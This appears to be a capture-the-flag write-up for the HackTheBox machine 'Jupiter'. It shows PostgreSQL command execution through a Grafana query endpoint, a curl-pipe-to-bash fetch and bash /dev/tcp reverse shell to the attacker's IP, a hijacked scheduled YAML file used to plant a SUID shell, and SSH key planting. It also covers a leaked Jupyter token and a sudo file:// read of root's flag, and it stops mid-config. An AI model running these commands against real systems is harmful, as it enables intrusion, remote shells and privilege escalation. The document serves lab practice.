Machine: Jupiter
Difficulty: Medium
Platform: HackTheBox
Release: Released on 06/03/2023
About Jupiter
Jupiter is a medium-difficulty machine on the HackTheBox platform. To start, we encounter a web service running Grafana in the background. Upon loading the main page, we notice POST requests being made to an endpoint that enables interaction with a database.
Shell as postgres
Because we can control the content of the POST request, we exploit a
malicious
query to execute system-level commands and gain access with a reverse shell.
Shell as juno
When listing tasks running at regular intervals, we observe that the user
juno
is executing a program with a file as an argument, a file which we, as Postgres, can modify. Modifying this file allows us to execute commands as juno
. After copying /bin/bash
to the /tmp
directory and assigning it SUID privileges, we abuse the -p
parameter to inherit the privileges and execute commands with juno's EUID. Ultimately, by exploiting SSH keys, we gain full access as the juno
user.
Shell as jovian
As a user
Juno
, we belong to the science
group. While listing processes running under the Jovian
user, we notice the presence of jupyter-notebook
. By checking the open ports, we find port 8888
. This port is associated with an HTTP server running jupyter-notebook
in the background. After examining some logs, we manage to access the service and create our own notebook to execute Python code and gain access to the system via a reverse shell.
Shell as root
The user
Jovian
has sudoer privileges to run a program as root. This program opens a file that we can modify, allowing us to abuse our sudoer privileges to read and write system files as the root
user, ultimately gaining access to the root
user.
Recon
First, we will run a port scan to discover open ports on the victim machine using the
nmap
tool:elswix@kali$ sudo nmap -p- --open -sS --min-rate 5000 -v -n -Pn 10.10.11.216 -oG portScan
Nmap scan report for 10.10.11.216
Host is up (0.15s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Again, we will utilize the
nmap
tool:elswix@kali$ nmap -sCV -p22,80 10.10.11.216 -oN fullScan
Nmap scan report for 10.10.11.216 (10.10.11.216)
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ac:5b:be:79:2d:c9:7a:00:ed:9a:e6:2b:2d:0e:9b:32 (ECDSA)
|_ 256 60:01:d7:db:92:7b:13:f0:ba:20:c6:c9:00:a7:1b:41 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.68 seconds
Web Application
Since we can't access
jupiter.htb
we need to add it to our /etc/hosts
file to resolve the domain to the victim's IP address.elswix@kali$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali.localhost kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# HackTheBox
10.10.11.216 jupiter.htb

At this stage, there isn't much to do, so let's explore other avenues
Subdomain Enumeration
Using tools like ffuf or gobuster, we can conduct subdomain enumeration through a brute force attack. In my case, I will use ffuf for this scan:
elswix@kali$ ffuf -c -t 100 -w /opt/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://jupiter.htb/ -H "Host: FUZZ.jupiter.htb"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://jupiter.htb/
:: Wordlist : FUZZ: /opt/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.jupiter.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
webdisk [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 149ms]
localhost [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 149ms]
mail [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 148ms]
www [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 154ms]
cpanel [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 153ms]
whm [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 153ms]
smtp [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 154ms]
ns1 [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 154ms]
pop [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 154ms]
webmail [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 154ms]
ftp [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 154ms]
autodiscover [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 148ms]
test [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 148ms]
ns2 [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 150ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
178
characters, so I'm going to filter out that result.elswix@kali$ ffuf -c --fs=178 -t 100 -w /opt/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://jupiter.htb/ -H "Host: FUZZ.jupiter.htb"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://jupiter.htb/
:: Wordlist : FUZZ: /opt/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.jupiter.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
kiosk [Status: 200, Size: 34390, Words: 2150, Lines: 212, Duration: 222ms]
:: Progress: [4989/4989] :: Job [1/1] :: 575 req/sec :: Duration: [0:00:08] :: Errors: 0 ::
kiosk
subdomain. Now, let's add this subdomain to our /etc/hosts
file:elswix@kali$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali.localhost kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# HackTheBox
10.10.11.216 jupiter.htb kiosk.jupiter.htb
kiosk.jupiter.htb
, we encounter the following:
Grafana is running behind the scenes. For those who may not be familiar with Grafana, it's an open-source platform used for real-time data visualization and monitoring. It enables the creation of interactive dashboards and graphs using data from various sources, including databases, cloud services, monitoring systems, and more. Grafana is extensively utilized in the realms of system administration and application monitoring to visualize data and performance metrics in a user-friendly and customizable manner.
Although we ran a Wappalyzer scan, it did not provide information about the specific version of Grafana in use, thus yielding no useful information.

When examining the requests made while accessing the site, one request stands out as particularly interesting:

POST requests are being sent to
/api/ds/query
. If we inspect the data we are sending, we can observe the following:
There is an SQL query, and it appears to be targeting a database endpoint of the API. This seems quite promising. After conducting some research online, I came across a method to execute commands in PostgreSQL. However, it's worth noting that this method only works if the server is running PostgreSQL version 9.3 to 11.2, as detailed in this article.
It's important to emphasize that this isn't a vulnerability by default, as command execution relies on the presence of a privilege (
pg_execute_server_program
) that must be manually assigned to the user. Nevertheless, if the privilege is active, and an attacker gains control over a user with this privilege, it could lead to command execution.We can attempt to retrieve the PostgreSQL version by sending the following query:
select version();


It's running PostgreSQL version 14.8. Now, let's verify if the user can execute commands:
SELECT r.rolname, r.rolsuper, r.rolinherit, r.rolcreaterole, r.rolcreatedb, r.rolcanlogin, r.rolconnlimit, r.rolvaliduntil, ARRAY(SELECT b.rolname FROM pg_catalog.pg_auth_members m JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid) WHERE m.member = r.oid) as memberof , r.rolreplication FROM pg_catalog.pg_roles r ORDER BY 1;

Upon examining the response, we ascertain that we have the ability to execute commands, as we possess the
pg_execute_server_program
privilege.
In order to execute commands, we need to begin by creating a table:
CREATE TABLE cmd_exec(cmd_output text);


Now, let's verify if we can execute commands. To do this, we'll start by listening with an HTTP server on port 80:
elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
COPY cmd_exec FROM PROGRAM 'curl 10.10.16.3';

If we monitor our listener, we can observe the request originating from the victim's machine:
elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.216 - - [21/Oct/2023 21:27:55] "GET / HTTP/1.1" 200 -
pwned.sh
file with a one-liner for a Bash reverse shell:elswix@kali$ cat pwned.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.3/3001 0>&1
pwned.sh
file and interpreting its contents using bash
:elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
COPY cmd_exec FROM PROGRAM 'curl 10.10.16.3/pwned.sh|bash';

Now, checking our listener, we've successfully received the reverse shell:
elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Ncat: Connection from 10.10.11.216:56186.
bash: cannot set terminal process group (1570): Inappropriate ioctl for device
bash: no job control in this shell
postgres@jupiter:/var/lib/postgresql/14/main$
postgres@jupiter:/var/lib/postgresql/14/main$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
postgres@jupiter:/var/lib/postgresql/14/main$ ^Z
zsh: suspended nc -lvnp 3001
elswix@kali$ stty raw -echo;fg
[1] + continued nc -lvnp 3001
reset
reset: unknown terminal type unknown
Terminal type? xterm
postgres@jupiter:/var/lib/postgresql/14/main$ export TERM=xterm
postgres@jupiter:/var/lib/postgresql/14/main$ export SHELL=/bin/bash
postgres@jupiter:/var/lib/postgresql/14/main$
Shell as juno
Let's begin with a basic system enumeration. First, we'll search for other users on the system:
postgres@jupiter:/var/lib/postgresql/14/main$ ls -l /home
total 8
drwxr-x--- 6 jovian jovian 4096 May 4 18:59 jovian
drwxr-x--- 8 juno juno 4096 May 4 12:10 juno
postgres@jupiter:/var/lib/postgresql/14/main$
postgres@jupiter:/var/lib/postgresql/14/main$ find / -perm -4000 2>/dev/null
/usr/libexec/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/fusermount3
postgres@jupiter:/var/lib/postgresql/14/main$
postgres@jupiter:/$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
postgres@jupiter:/$
Now, let's list tasks that are executed at regular intervals. For this purpose, we can utilize tools like pspy. I've downloaded a release version, specifically pspy64.
After uploading pspy to the victim machine, let's run it:
postgres@jupiter:/dev/shm$ ./pspy

Juno is running a binary that I can't access, and it is including a file in the
/dev/shm
directory. Upon examining network-simulation.yml
, it's evident that commands specified in this file are being executed.postgres@jupiter:/dev/shm$ cat network-simulation.yml
general:
# stop after 10 simulated seconds
stop_time: 10s
# old versions of cURL use a busy loop, so to avoid spinning in this busy
# loop indefinitely, we add a system call latency to advance the simulated
# time when running non-blocking system calls
model_unblocked_syscall_latency: true
network:
graph:
# use a built-in network graph containing
# a single vertex with a bandwidth of 1 Gbit
type: 1_gbit_switch
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/python3
args: -m http.server 80
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/curl
args: -s server
start_time: 5s
postgres@jupiter:/dev/shm$
server
. Since I can modify this file, let's execute something as Juno
:postgres@jupiter:/dev/shm/privesc$ cat network-simulation.yml
general:
# stop after 10 simulated seconds
stop_time: 10s
# old versions of cURL use a busy loop, so to avoid spinning in this busy
# loop indefinitely, we add a system call latency to advance the simulated
# time when running non-blocking system calls
model_unblocked_syscall_latency: true
network:
graph:
# use a built-in network graph containing
# a single vertex with a bandwidth of 1 Gbit
type: 1_gbit_switch
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/touch
args: /tmp/pwned
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/curl
args: -s server
start_time: 5s
postgres@jupiter:/dev/shm/privesc$
/usr/bin/touch
in order to create a file named pwned
in the /tmp
directory. Assuming it runs as Juno
, the owner of the file should be Juno
. After a minute, the pwned
file was indeed created by Juno
:postgres@jupiter:/dev/shm/privesc$ ls -l /tmp
total 28
-rw-rw-r-- 1 juno juno 0 Oct 22 12:48 pwned
drwx------ 2 root root 4096 Oct 22 12:12 snap-private-tmp
drwx------ 3 root root 4096 Oct 22 12:12 systemd-private-11b86a004cc9404da525889a457fbf82-grafana-server.service-dedBZv
drwx------ 3 root root 4096 Oct 22 12:12 systemd-private-11b86a004cc9404da525889a457fbf82-ModemManager.service-ubZajL
drwx------ 3 root root 4096 Oct 22 12:12 systemd-private-11b86a004cc9404da525889a457fbf82-systemd-logind.service-ipkoNs
drwx------ 3 root root 4096 Oct 22 12:12 systemd-private-11b86a004cc9404da525889a457fbf82-systemd-resolved.service-pHMGzj
drwx------ 3 root root 4096 Oct 22 12:12 systemd-private-11b86a004cc9404da525889a457fbf82-systemd-timesyncd.service-T5fLws
drwx------ 2 root root 4096 Oct 22 12:13 vmware-root_798-2999657446
postgres@jupiter:/dev/shm/privesc$
Juno'
I'll copy /bin/bash
to /tmp/bash
and set it with SUID privileges. Then, I will execute /tmp/bash -p
to inherit its privileges.I will add the following content to
network-simulation.yml
:postgres@jupiter:/dev/shm/privesc$ cat network-simulation.yml
general:
# stop after 10 simulated seconds
stop_time: 10s
# old versions of cURL use a busy loop, so to avoid spinning in this busy
# loop indefinitely, we add a system call latency to advance the simulated
# time when running non-blocking system calls
model_unblocked_syscall_latency: true
network:
graph:
# use a built-in network graph containing
# a single vertex with a bandwidth of 1 Gbit
type: 1_gbit_switch
hosts:
# a host with the hostname 'server'
server:
network_node_id: 0
processes:
- path: /usr/bin/cp
args: /bin/bash /tmp/bash
start_time: 3s
# three hosts with hostnames 'client1', 'client2', and 'client3'
client:
network_node_id: 0
quantity: 3
processes:
- path: /usr/bin/chmod
args: 4755 /tmp/bash
start_time: 5s
postgres@jupiter:/dev/shm/privesc$
/bin/bash
to /tmp/bash
, and then it will grant 4755
privilege (Set-UID) to /tmp/bash
. With the Set-UID
flag set on /tmp/bash
, I will be able to execute commands as Juno
by exploiting the -p
parameter.postgres@jupiter:/dev/shm/privesc$ ls -l /tmp/bash
-rwsr-xr-x 1 juno juno 1396520 Oct 22 13:06 /tmp/bash
postgres@jupiter:/dev/shm/privesc$
-p
parameter:postgres@jupiter:/dev/shm/privesc$ /tmp/bash -p
bash-5.1$ whoami
juno
bash-5.1$
Juno
.However, if we attempt to read
user.txt
, it indicates that we don't have access:bash-5.1$ cat user.txt
cat: user.txt: Permission denied
bash-5.1$
user.txt
flag is only accessible to the owner and the Juno
group:bash-5.1$ ls -l
total 12
drwxrwxr-x 12 juno juno 4096 Mar 9 2023 shadow
-rwxrwxr-x 1 juno juno 174 Apr 14 2023 shadow-simulation.sh
-rw-r----- 1 root juno 33 Oct 22 12:13 user.txt
bash-5.1$
Juno
; we're merely executing commands with Juno's EUID, which is why we inherit some of its privileges.bash-5.1$ id
uid=114(postgres) gid=120(postgres) euid=1000(juno) groups=120(postgres),119(ssl-cert)
bash-5.1$
Juno
. There are various techniques to achieve this, and in my case, I will work with SSH keys. I will copy the public key from my attacker's machine to the /home/juno/authorized_keys
file. Once this is done, we can access the SSH service as the Juno
user without the need to provide a passwordbash-5.1$ echo -n 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMzYWcHjgBMlcgqOv9UTofEDod6OdJZkH4UR6d/U5nzupmuCpg2a59S+JggOPXomVzNfNeGs2Q0iYKnAYj7AiwFubzyKxBvgImoI6v6C8J7tJVBOMhBW2Hzy53fXw4gn5jjxl4wJ6hAZtCIhkgQNImLhkQYictkBLGZkl7k73sU1rzLNsePfqk9nxbJ7jWYG5G9n+HfDCpUi8MHj7Mty55ETIsGwU9Nq16wd4wenHPRYSSQhRC7YMsvuSYYO/teoCc9JjUNu0GfpeLW5kU6ZP/62IF2869EiLKLU1wVqVIN2hxizwqVl8q8zF8U/lBR6WoP+mXzC9KxnA8LJcz0zCfXdscVO8pHkNT0iyDk+za4EIoDWVbDcClcYBqpLEg/eqgZOOPLopm/aXY4TBtdP348NM8qMl/9uBAqFya4SAcBsR98x5j7KWGqXkS8eTZ/nlK7k+gwWSoajS4UHYpNDtx+QUcR6MExMYXN0SgJOXf0UZFLR4RFXj69PKh9gcYch0= @elswix@kali' > /home/juno/.ssh/authorized_keys
bash-5.1$
Juno
user via SSH:elswix@kali$ ssh juno@10.10.11.216
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-72-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Oct 22 01:15:54 PM UTC 2023
System load: 0.0
Usage of /: 81.3% of 12.33GB
Memory usage: 18%
Swap usage: 0%
Processes: 235
Users logged in: 0
IPv4 address for eth0: 10.10.11.216
IPv6 address for eth0: dead:beef::250:56ff:feb9:af90
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Wed Jun 7 15:13:15 2023 from 10.10.14.23
juno@jupiter:~$
Juno
. Running the id
command confirms that we now possess all of Juno's privileges.juno@jupiter:~$ id
uid=1000(juno) gid=1000(juno) groups=1000(juno),1001(science)
juno@jupiter:~$
juno@jupiter:~$ cat user.txt
74d4bab34e13d5117434b8de65f7ba5e
juno@jupiter:~$
Shell as jovian
As
Juno
, we are part of the science
group, which is an uncommon group. Let's list the files owned by the science
group:juno@jupiter:~$ find / -group science 2>/dev/null
/opt/solar-flares
/opt/solar-flares/flares.csv
/opt/solar-flares/xflares.csv
/opt/solar-flares/map.jpg
/opt/solar-flares/start.sh
/opt/solar-flares/logs
/opt/solar-flares/logs/jupyter-2023-03-10-25.log
/opt/solar-flares/logs/jupyter-2023-03-08-37.log
/opt/solar-flares/logs/jupyter-2023-03-08-38.log
/opt/solar-flares/logs/jupyter-2023-03-08-36.log
/opt/solar-flares/logs/jupyter-2023-03-09-11.log
/opt/solar-flares/logs/jupyter-2023-03-09-24.log
/opt/solar-flares/logs/jupyter-2023-03-08-14.log
/opt/solar-flares/logs/jupyter-2023-03-09-59.log
/opt/solar-flares/flares.html
/opt/solar-flares/cflares.csv
/opt/solar-flares/flares.ipynb
/opt/solar-flares/.ipynb_checkpoints
/opt/solar-flares/mflares.csv
juno@jupiter:~$
solar-flares
directory, we notice that all these files are also owned by the Jovian
user:juno@jupiter:/opt/solar-flares$ ls -la
total 2608
drwxrwx--- 4 jovian science 4096 May 4 18:59 .
drwxr-xr-x 3 root root 4096 May 4 18:59 ..
-rw-rw---- 1 jovian science 646164 Mar 8 2023 cflares.csv
-rw-rw---- 1 jovian science 708058 Mar 8 2023 flares.csv
-rw-rw---- 1 jovian science 10230 Mar 8 2023 flares.html
-rw-r----- 1 jovian science 234001 Mar 8 2023 flares.ipynb
drwxrwxr-x 2 jovian science 4096 May 4 18:59 .ipynb_checkpoints
drwxrwxr-t 2 jovian science 4096 Oct 22 12:12 logs
-rw-rw---- 1 jovian science 1010424 Mar 8 2023 map.jpg
-rw-rw---- 1 jovian science 26651 Mar 8 2023 mflares.csv
-rwxr-xr-x 1 jovian science 147 Mar 8 2023 start.sh
-rw-rw---- 1 jovian science 1992 Mar 8 2023 xflares.csv
juno@jupiter:/opt/solar-flares$
Jovian
user, I came across the following:juno@jupiter:/opt/solar-flares$ ps -auxw | grep jovian | grep -v juno
jovian 1175 0.0 1.6 81344 66504 ? S 12:12 0:00 /usr/bin/python3 /usr/local/bin/jupyter-notebook --no-browser /opt/solar-flares/flares.ipynb
juno@jupiter:/opt/solar-flares$
jupyter-notebook
. According to ChatGPT, Jupyter Notebook is an open-source web application that allows you to create and share interactive documents containing code, text, graphics, and results. It is widely used in fields such as data science, scientific research, education, and programming.Checking the open ports, we observe that port
8888
is open. This appears to be a web service, so I'm going to set up port forwarding to access it through my browser. Port forwarding can be accomplished using SSH with the -L
parameter:elswix@kali$ ssh juno@10.10.11.216 -L 8888:127.0.0.1:8888
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-72-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Oct 22 01:39:25 PM UTC 2023
System load: 0.0205078125
Usage of /: 81.3% of 12.33GB
Memory usage: 22%
Swap usage: 0%
Processes: 237
Users logged in: 0
IPv4 address for eth0: 10.10.11.216
IPv6 address for eth0: dead:beef::250:56ff:feb9:af90
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Oct 22 13:15:55 2023 from 10.10.16.3
juno@jupiter:~$
localhost
on port 8888
, I encounter the following:
It is requesting a password or token, which we currently lack. While searching for the term
token
in the solar-flares
directory, I discovered some intriguing values:juno@jupiter:/opt/solar-flares$ grep -r token
logs
directory, as exemplified by:juno@jupiter:/opt/solar-flares$ cat logs/jupyter-2023-03-09-59.log
[W 11:59:22.108 NotebookApp] Terminals not available (error was No module named 'terminado')
[I 11:59:22.116 NotebookApp] Serving notebooks from local directory: /opt/solar-flares
[I 11:59:22.116 NotebookApp] Jupyter Notebook 6.5.3 is running at:
[I 11:59:22.116 NotebookApp] http://localhost:8888/?token=c1b7aef7f310cd8f3143c70fb9b4b0e41a10559afeebafab
[I 11:59:22.116 NotebookApp] or http://127.0.0.1:8888/?token=c1b7aef7f310cd8f3143c70fb9b4b0e41a10559afeebafab
[I 11:59:22.116 NotebookApp] Use Control-C to stop this server and shut down all kernels (twice to skip confirmation).
[W 11:59:22.120 NotebookApp] No web browser found: could not locate runnable browser.
[C 11:59:22.120 NotebookApp]
To access the notebook, open this file in a browser:
file:///home/jovian/.local/share/jupyter/runtime/nbserver-874-open.html
Or copy and paste one of these URLs:
http://localhost:8888/?token=c1b7aef7f310cd8f3143c70fb9b4b0e41a10559afeebafab
or http://127.0.0.1:8888/?token=c1b7aef7f310cd8f3143c70fb9b4b0e41a10559afeebafab
[C 12:10:52.740 NotebookApp] received signal 15, stopping
[I 12:10:52.740 NotebookApp] Shutting down 0 kernels
juno@jupiter:/opt/solar-flares$
c1b7aef7f310cd8f3143c70fb9b4b0e41a10559afeebafab
on the website. Let's see if it works:
It seems the previous token didn't work, so there's nothing more we can do. However, after trying each one individually, the token
af894b54c19a51d83d04cd69d9d205a975cafbd882d70971
did work, and the website redirected me to the next page:
While examining the
Running
section, I came across the following list of Jupyter running processes:
I clicked on
flares.ipynb
, and it redirected me to the next page:
Since this is running Python code, I'm going to create my own notebook:


Here, it's requesting Python code. Let's attempt to execute system-level commands. I will try to send a ping to my attacker machine:

Before running this command, I will set up an ICMP listener:
elswix@kali$ tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
Run
:
It worked, and I received a ping from the victim machine:
elswix@kali$ tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
10:57:44.057416 IP 10.10.11.216 > 10.10.16.3: ICMP echo request, id 2, seq 1, length 64
10:57:44.057488 IP 10.10.16.3 > 10.10.11.216: ICMP echo reply, id 2, seq 1, length 64
3001
:elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001

And I have successfully obtained a shell as the
Jovian
user:elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Ncat: Connection from 10.10.11.216:47250.
bash: cannot set terminal process group (3717): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
jovian@jupiter:/opt/solar-flares$
jovian@jupiter:/opt/solar-flares$ whoami
whoami
jovian
jovian@jupiter:/opt/solar-flares$ id
id
uid=1001(jovian) gid=1002(jovian) groups=1002(jovian),27(sudo),1001(science)
jovian@jupiter:/opt/solar-flares$
jovian@jupiter:/opt/solar-flares$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
jovian@jupiter:/opt/solar-flares$ ^Z
zsh: suspended nc -lvnp 3001
elswix@kali$ stty raw -echo;fg
[1] + continued nc -lvnp 3001
reset xterm
jovian@jupiter:/opt/solar-flares$ export TERM=xterm
jovian@jupiter:/opt/solar-flares$ export SHELL=/bin/bash
jovian@jupiter:/opt/solar-flares$
Shell as root
Upon listing the sudoers privileges of the
Jovian
user, we discover that he can execute the following as root without needing to provide a password:jovian@jupiter:/opt/solar-flares$ sudo -l
Matching Defaults entries for jovian on jupiter:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User jovian may run the following commands on jupiter:
(ALL) NOPASSWD: /usr/local/bin/sattrack
jovian@jupiter:/opt/solar-flares$
/usr/local/bin/sattrack
as root, it returns the following error:jovian@jupiter:/opt/solar-flares$ sudo /usr/local/bin/sattrack
Satellite Tracking System
Configuration file has not been found. Please try again!
jovian@jupiter:/opt/solar-flares$
strace
since it's installed on the victim machine.jovian@jupiter:/opt/solar-flares$ strace /usr/local/bin/sattrack

It's trying to open the
/tmp/config.json
file, but it doesn't exist.jovian@jupiter:/opt/solar-flares$ cat /tmp/config.json
cat: /tmp/config.json: No such file or directory
jovian@jupiter:/opt/solar-flares$
config.json
:jovian@jupiter:/opt/solar-flares$ find / -name config.json 2>/dev/null
/usr/local/share/sattrack/config.json
/usr/local/lib/python3.10/dist-packages/zmq/utils/config.json
jovian@jupiter:/opt/solar-flares$
sattrack
. Listing its contents, we encounter the following:jovian@jupiter:/opt/solar-flares$ cat /usr/local/share/sattrack/config.json
{
"tleroot": "/tmp/tle/",
"tlefile": "weather.txt",
"mapfile": "/usr/local/share/sattrack/map.json",
"texturefile": "/usr/local/share/sattrack/earth.png",
"tlesources": [
"http://celestrak.org/NORAD/elements/weather.txt",
"http://celestrak.org/NORAD/elements/noaa.txt",
"http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
],
"updatePerdiod": 1000,
"station": {
"name": "LORCA",
"lat": 37.6725,
"lon": -1.5863,
"hgt": 335.0
},
"show": [
],
"columns": [
"name",
"azel",
"dis",
"geo",
"tab",
"pos",
"vel"
]
}
jovian@jupiter:/opt/solar-flares$
/usr/local/share/sattrack/config.json
to /tmp/config.json
since this is the path the program is referencing.jovian@jupiter:/opt/solar-flares$ cp /usr/local/share/sattrack/config.json /tmp/config.json
jovian@jupiter:/opt/solar-flares$
config.json
file created.jovian@jupiter:/opt/solar-flares$ sudo /usr/local/bin/sattrack
Satellite Tracking System
tleroot does not exist, creating it: /tmp/tle/
Get:0 http://celestrak.org/NORAD/elements/weather.txt
^C
jovian@jupiter:/opt/solar-flares$
wget
tool.Furthermore, it has created a directory named
tle
in /tmp
. If we list its contents, we find a file called weather.txt
:jovian@jupiter:/opt/solar-flares$ ls -l /tmp/tle
total 0
-rw-r--r-- 1 root root 0 Oct 22 14:17 weather.txt
jovian@jupiter:/opt/solar-flares$
"tlesources": [
"http://celestrak.org/NORAD/elements/weather.txt",
"http://celestrak.org/NORAD/elements/noaa.txt",
"http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
],
file://
wrapper.First, I will modify certain information in the
config.json
file. I'll change the tlefile
field, which refers to the name of the file where the downloaded content will be stored. Next, I'll modify the first URL in the tlesources
field to point to a system file using the file://
wrapper.Since this file is being executed by root, I will point it to the file
/root/root.txt
in an attempt to access the last flag:jovian@jupiter:/opt/solar-flares$ cat /tmp/config.json
{
"tleroot": "/tmp/tle/",
"tlefile": "root.txt",
"mapfile": "/usr/local/share/sattrack/map.json",
"texturefile": "/usr/local/share/sattrack/earth.png",
"tlesources": [
"file:///root/root.txt",
"http://celestrak.org/NORAD/elements/noaa.txt",
"http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
],
"updatePerdiod": 1000,
"station": {
"name": "LORCA",
"lat": 37.6725,
"lon": -1.5863,
"hgt": 335.0
},
"show": [
],
"columns": [
"name",
